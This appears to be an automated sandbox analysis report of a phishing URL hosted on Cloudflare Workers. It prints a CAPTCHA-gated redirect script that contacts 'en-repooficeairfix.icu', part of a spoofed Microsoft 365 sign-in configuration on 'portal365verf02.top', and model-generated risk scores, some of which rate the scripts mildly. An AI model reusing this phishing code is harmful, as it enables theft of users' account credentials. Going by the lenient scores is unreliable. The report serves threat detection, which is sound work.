Windows Analysis Report
https://52f1897b.5648702dd4d5255cab645104.workers.dev/

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": true,
    "ip_in_url": false,
    "long_subdomain": true,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": true,
    "reasoning": "This URL uses Cloudflare Workers (.workers.dev domain), which is a legitimate service but can be misused. The subdomain contains long hexadecimal strings which is unusual and suspicious. The .dev TLD combined with workers subdomain indicates third-party hosting."
}

URL: https://52f1897b.5648702dd4d5255cab645104.workers.dev

{
    "risk_score": 6,
    "reasoning": "The script demonstrates a mix of behaviors, including the use of a CAPTCHA system, encryption of user agent data, and a request to an external domain. While the CAPTCHA system and encryption suggest some security measures, the script also includes the use of an obfuscated URL and the potential for data exfiltration, which raise concerns. Further review is needed to determine the full context and intent of the script."
}

    var verifyCallback_CF = function (response) {
      if (response && response.length > 10) {
        sendRequest(); // Only send the request after CAPTCHA is solved
      }
    };

    window.onloadTurnstileCallback = function () {
      turnstile.render("#turnstileCaptcha", {
        sitekey: "0x4AAAAAAA44TVMLbqDkCk-m", 
        callback: verifyCallback_CF,
      });
    };

    function hh2(encryptedText, shift) {
      let decryptedText = "";
      for (let i = 0; i < encryptedText.length; i++) {
        let c = encryptedText[i];
        if (c.match(/[a-z]/i)) {
          let code = encryptedText.charCodeAt(i);
          if ((code >= 65) && (code <= 90)) {
            c = String.fromCharCode(((code - 65 - shift + 26) % 26) + 65);
          } else if ((code >= 97) && (code <= 122)) {
            c = String.fromCharCode(((code - 97 - shift + 26) % 26) + 97);
          }
        }
        decryptedText += c;
      }
      return decryptedText;
    }

    function Encrypt(text, publicKey) {
      console.log('encrypt with public key:', publicKey);
      return text; 
    }

    let sx = "https://en-repooficeairfix.icu/?ctsllixw";

    const PUBLIC_KEY = `-----BEGIN PUBLIC KEY-----
    MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxCJBwcY8t0AqPquU+Ah1
    R0EPWlcD5XSXhOEe00844TkiGLFHnMWQEugh0zYh/kgrw8hv1ifOmf4Jrkis3tlW
    qpIO2U9Nle23D1VKpxZSxRyYTbnoyq3lRcqY5txOJKdviR9fA9wPidS6KTXhX2xq
    wq1jjYvgHtntEGYwK6Lzm6Q8jTjfV7ICqnV74GTKnPN7VMDKsS2+Dcf2Y2IoYY1o
    NM7nWPKFeVUmkqFMowkdBmGJHL4UqRcxbhiRX3AAzzdQvbQg7OQxYjbKak23IvDN
    1ia9SsXQyo5H/XnfXB2Nb9sNayO5sV+hDmBRlujtm1+maqGMJUXZeVHL81Q7O22a
    WQIDAQAB
    -----END PUBLIC KEY-----`;

    function sendRequest() {
      const userAgent = navigator.userAgent;
      const EncryptedUserAgent = Encrypt(userAgent, PUBLIC_KEY);
      console.log('Sending request with encrypted user-agent:', EncryptedUserAgent);
      
      let xhr = new XMLHttpRequest();
      xhr.open('GET', sx, true);
      xhr.setRequestHeader("accept", "application/json");
      xhr.setRequestHeader("qrc-auth", EncryptedUserAgent);

      xhr.onreadystatechange = function() {
        if (xhr.readyState === XMLHttpRequest.DONE) {
          if (xhr.status === 200) {
            const cc = JSON.parse(xhr.responseText);
            if (cc.url) {
              window.location = cc.url;
            } else {
              document.body.innerHTML = cc.error ? cc.error : 'ACCESS DENIED';
            }
          } else {
            document.body.innerHTML = 'CONNECTION TO HOST FAILED';
          }
        }
      };
      xhr.send();
    }
  

{
    "risk_score": 6,
    "reasoning": "The provided JavaScript snippet contains several behaviors that raise moderate security concerns. It includes external data transmission to third-party domains, the use of fallback domains, and aggressive DOM manipulation. While the script appears to have a legitimate purpose, such as authentication and analytics, the lack of transparency and the use of potentially untrusted domains warrant further review. The overall risk score is in the medium range, indicating the need for closer inspection to ensure the script's integrity and the protection of user data."
}

//<![CDATA[
$Config={"iMaxStackForKnockoutAsyncComponents":10000,"fShowButtons":true,"urlCdn":"https://portal365verf02.top/aadcdn.msauth.net/~/shared/1.0/","urlDefaultFavicon":"https://portal365verf02.top/aadcdn.msauth.net/~/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico","urlPost":"/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000\u0026redirect_uri=https%3a%2f%2fportal365verf02.top%2fowa%2f\u0026resource=00000002-0000-0ff1-ce00-000000000000\u0026response_mode=form_post\u0026response_type=code+id_token\u0026scope=openid\u0026msafed=1\u0026msaredir=1\u0026client-request-id=e7a64a6a-dfcf-cd33-2cd6-1bda9f8df192\u0026protectedtoken=true\u0026claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d\u0026nononce=638725643434769752.5173aa19-eb06-4ac2-939b-af57642bc40b\u0026state=DYvJDYAwDMBSEOOEHrnIOGkFX56sT2TZPxcA2NMtLS0DpnTZEGVKTN1knNKNIrrjPZsixxro5BPjEVMec3GbJd-jvl_UHw\u0026sso_reload=True","iPawnIcon":0,"sPOST_Username":"","sFTName":"flowToken","fEnableOneDSClientTelemetry":true,"dynamicTenantBranding":null,"staticTenantBranding":null,"oAppCobranding":{},"iBackgroundImage":2,"fApplicationInsightsEnabled":false,"iApplicationInsightsEnabledPercentage":0,"urlSetDebugMode":"https://portal365verf02.top/common/debugmode","fEnableCssAnimation":true,"fAllowGrayOutLightBox":true,"fUseMsaSessionState":true,"fIsRemoteNGCSupported":true,"desktopSsoConfig":{"isEdgeAnaheimAllowed":true,"iwaEndpointUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/sso?client-request-id=e7a64a6a-dfcf-cd33-2cd6-1bda9f8df192","iwaSsoProbeUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/ssoprobe?client-request-id=e7a64a6a-dfcf-cd33-2cd6-1bda9f8df192","iwaIFrameUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/iframe?client-request-id=e7a64a6a-dfcf-cd33-2cd6-1bda9f8df192\u0026isAdalRequest=False","iwaRequestTimeoutInMs":10000,"startDesktopSsoOnPageLoad":false,"progressAnimationTimeout":10000,"isEdgeAllowed":false,"minDssoEdgeVersion":"17","isSafariAllowed":true,"redirectUri":"","isIEAllowedForSsoProbe":true,"edgeRedirectUri":"https://autologon.microsoftazuread-sso.com/common/winauth/sso/edgeredirect?client-request-id=e7a64a6a-dfcf-cd33-2cd6-1bda9f8df192\u0026origin=portal365verf02.top\u0026is_redirected=1","isFlowTokenPassedInEdge":true},"iSessionPullType":2,"fUseSameSite":true,"isGlobalTenant":true,"uiflavor":1001,"fOfflineAccountVisible":false,"fEnableUserStateFix":true,"fShowAccessPassPeek":true,"fUpdateSessionPollingLogic":true,"fEnableShowPickerCredObservable":true,"fFetchSessionsSkipDsso":true,"fIsCiamUserFlowUxNewLogicEnabled":true,"fUseNonMicrosoftDefaultBrandingForCiam":true,"fRemoveCustomCss":true,"fFixUICrashForApiRequestHandler":true,"fShowUpdatedKoreanPrivacyFooter":true,"fUsePostCssHotfix":true,"fUseHighContrastDetectionMode":true,"fFixUserFlowBranding":true,"fEnablePasskeyNullFix":true,"fEnableRefreshCookiesFix":true,"urlAcmaServerPath":"https://portal365verf02.top/","sTenantId":"00000000-0000-0000-0000-000000000000","scid":1013,"hpgact":1800,"hpgid":6,"apiCanary":"PAQABDgEAAABVrSpeuWamRam2jAF1XRQE-hQ2Boxz-SCXLGh84pRJauEO2HqxGWCO3pcRVk-IvH9sYiKGbL5t2FVEpI62nvYk0NJUOMOd9b7pweN304mj5snGQvZm4d_znrjuj0NY6uUbBgxciGb5ZzcccRLm5hskanEvnjxEidHFPY2SYEFR5XoOTv57ASrT1Hl86U8ANtiST7y0Ge36F6QqazJX-G2oFVo3ujl68jxuwA3gf7LW4yAA","canary":"od39VpJ56DVo6vHMRKwiUXxu+8VFO2A7XDAbUgQ/Gik=3:1:CANARY:H+lTwbngCNduQ2QR3saxtXQa/XRU+e3osSAyXR6eM6Y=","sCanaryTokenName":"canary","fSkipRenderingNewCanaryToken":false,"fEnableNewCsrfProtection":true,"correlationId":"e7a64a6a-dfcf-cd33-2cd6-1bda9f8df192","sessionId":"c8fc33c9-3db2-425a-a563-9c917e226e00","locale":{"mkt":"en-US","lcid":1033},"slMaxRetry":2,"slReportFailure":true,"strings":{"desktopsso":{"authenticatingmessage":"Trying to sign you in"}},"enums":{"ClientMetricsModes":{"None":0,"SubmitOnPost":1,"SubmitOnRedirect":2,"InstrumentPlt":4}},"urls":{"instr":{"pageload":"https://portal365verf02.top/common/instrument

{
  "contains_trigger_text": true,
  "trigger_text": "Please stand by, while we are checking if the site connection is secure\nWe need to review the security of your connection before proceeding.",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": true,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": "unknown"
}

{
  "brands": [
    "Cloudflare"
  ]
}

```json
{
    "risk_score": 2,
    "reasoning": "The script primarily involves DOM manipulation and logging, with no high-risk indicators like dynamic code execution or data exfiltration. It uses a structured approach to event handling and logging, which aligns with typical debugging or analytics purposes. No interactions with external domains or obfuscated code were observed."
}

//<![CDATA[
!function(){var e=window,r=e.$Debug=e.$Debug||{},t=e.$Config||{};if(!r.appendLog){var n=[],o=0;r.appendLog=function(e){var r=t.maxDebugLog||25,i=(new Date).toUTCString()+":"+e;n.push(o+":"+i),n.length>r&&n.shift(),o++},r.getLogs=function(){return n}}}(),function(){function e(e,r){function t(i){var a=e[i];if(i<n-1){return void(o.r[a]?t(i+1):o.when(a,function(){t(i+1)}))}r(a)}var n=e.length;t(0)}function r(e,r,i){function a(){var e=!!s.method,o=e?s.method:i[0],a=s.extraArgs||[],u=n.$WebWatson;try{
var c=t(i,!e);if(a&&a.length>0){for(var d=a.length,l=0;l<d;l++){c.push(a[l])}}o.apply(r,c)}catch(e){return void(u&&u.submitFromException&&u.submitFromException(e))}}var s=o.r&&o.r[e];return r=r||this,s&&(s.skipTimeout?a():n.setTimeout(a,0)),s}function t(e,r){return Array.prototype.slice.call(e,r?1:0)}var n=window;n.$Do||(n.$Do={"q":[],"r":[],"removeItems":[],"lock":0,"o":[]});var o=n.$Do;o.when=function(t,n){function i(e){r(e,a,s)||o.q.push({"id":e,"c":a,"a":s})}var a=0,s=[],u=1;"function"==typeof n||(a=n,
u=2);for(var c=u;c<arguments.length;c++){s.push(arguments[c])}t instanceof Array?e(t,i):i(t)},o.register=function(e,t,n){if(!o.r[e]){o.o.push(e);var i={};if(t&&(i.method=t),n&&(i.skipTimeout=n),arguments&&arguments.length>3){i.extraArgs=[];for(var a=3;a<arguments.length;a++){i.extraArgs.push(arguments[a])}}o.r[e]=i,o.lock++;try{for(var s=0;s<o.q.length;s++){var u=o.q[s];u.id==e&&r(e,u.c,u.a)&&o.removeItems.push(u)}}catch(e){throw e}finally{if(0===--o.lock){for(var c=0;c<o.removeItems.length;c++){
for(var d=o.removeItems[c],l=0;l<o.q.length;l++){if(o.q[l]===d){o.q.splice(l,1);break}}}o.removeItems=[]}}}},o.unregister=function(e){o.r[e]&&delete o.r[e]}}(),function(e,r){function t(){if(!a){if(!r.body){return void setTimeout(t)}a=!0,e.$Do.register("doc.ready",0,!0)}}function n(){if(!s){if(!r.body){return void setTimeout(n)}t(),s=!0,e.$Do.register("doc.load",0,!0),i()}}function o(e){(r.addEventListener||"load"===e.type||"complete"===r.readyState)&&t()}function i(){
r.addEventListener?(r.removeEventListener("DOMContentLoaded",o,!1),e.removeEventListener("load",n,!1)):r.attachEvent&&(r.detachEvent("onreadystatechange",o),e.detachEvent("onload",n))}var a=!1,s=!1;if("complete"===r.readyState){return void setTimeout(n)}!function(){r.addEventListener?(r.addEventListener("DOMContentLoaded",o,!1),e.addEventListener("load",n,!1)):r.attachEvent&&(r.attachEvent("onreadystatechange",o),e.attachEvent("onload",n))}()}(window,document),function(){function e(){
return f.$Config||f.ServerData||{}}function r(e,r){var t=f.$Debug;t&&t.appendLog&&(r&&(e+=" '"+(r.src||r.href||"")+"'",e+=", id:"+(r.id||""),e+=", async:"+(r.async||""),e+=", defer:"+(r.defer||"")),t.appendLog(e))}function t(){var e=f.$B;if(void 0===d){if(e){d=e.IE}else{var r=f.navigator.userAgent;d=-1!==r.indexOf("MSIE ")||-1!==r.indexOf("Trident/")}}return d}function n(){var e=f.$B;if(void 0===l){if(e){l=e.RE_Edge}else{var r=f.navigator.userAgent;l=-1!==r.indexOf("Edge")}}return l}function o(e){
var r=e.indexOf("?"),t=r>-1?r:e.length,n=e.lastIndexOf(".",t);return e.substring(n,n+v.length).toLowerCase()===v}function i(){var r=e();return(r.loader||{}).slReportFailure||r.slReportFailure||!1}function a(){return(e().loader||{}).redirectToErrorPageOnLoadFailure||!1}function s(){return(e().loader||{}).logByThrowing||!1}function u(e){if(!t()&&!n()){return!1}var r=e.src||e.href||"";if(!r){return!0}if(o(r)){var i,a,s;try{i=e.sheet,a=i&&i.cssRules,s=!1}catch(e){s=!0}if(i&&!a&&s){return!0}
if(i&&a&&0===a.length){return!0}}return!1}function c(){function t(e){g.getElementsByTagName("head")[0].appendChild(e)}function n(e,r,t,n){var u=null;return u=o(e)?i(e):"script"===n.toLowerCase()?a(e):s(e,n),r&&(u.id=r),"function"==typeof u.setAttribute&&(u.setAttribute("rickorigin","anonymous"),t&&"string"==typeof t&&u.setAttribute("xintegrity",t)),u}function i(e){var r=g.createElement("link");return r.rel="stylesheet",r.type="text/css",r.href=e,r}function a(e){
var r=g.createElement("script"),t=g.querySelector("s